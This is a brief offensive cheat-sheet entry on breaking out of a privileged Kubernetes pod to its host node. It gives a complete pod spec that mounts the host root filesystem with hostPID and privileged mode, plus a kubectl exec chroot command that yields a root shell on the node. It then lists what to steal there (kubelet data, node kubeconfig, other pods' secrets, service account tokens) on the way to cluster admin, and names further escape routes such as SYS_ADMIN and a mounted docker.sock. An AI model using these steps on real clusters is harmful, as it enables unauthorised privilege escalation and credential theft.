Escape a privileged pod to the node

If you can run a privileged pod, or one with hostPID and a host mount, you break out to the node trivially.

spec:
  hostPID: true
  containers:
  - image: alpine
    securityContext: { privileged: true }
    volumeMounts: [{ name: host, mountPath: /host }]
  volumes: [{ name: host, hostPath: { path: / } }]

Then chroot into the host and act as root on the node.

kubectl exec -it escape -- chroot /host bash
# read /var/lib/kubelet, node kubeconfig, other pods' secrets

Pro note: even without privileged, capabilities like SYS_ADMIN, a mounted docker.sock, or hostPath to /var/run enable escape. From the node, harvest the kubelet credentials and other pods’ service account tokens to move toward cluster admin.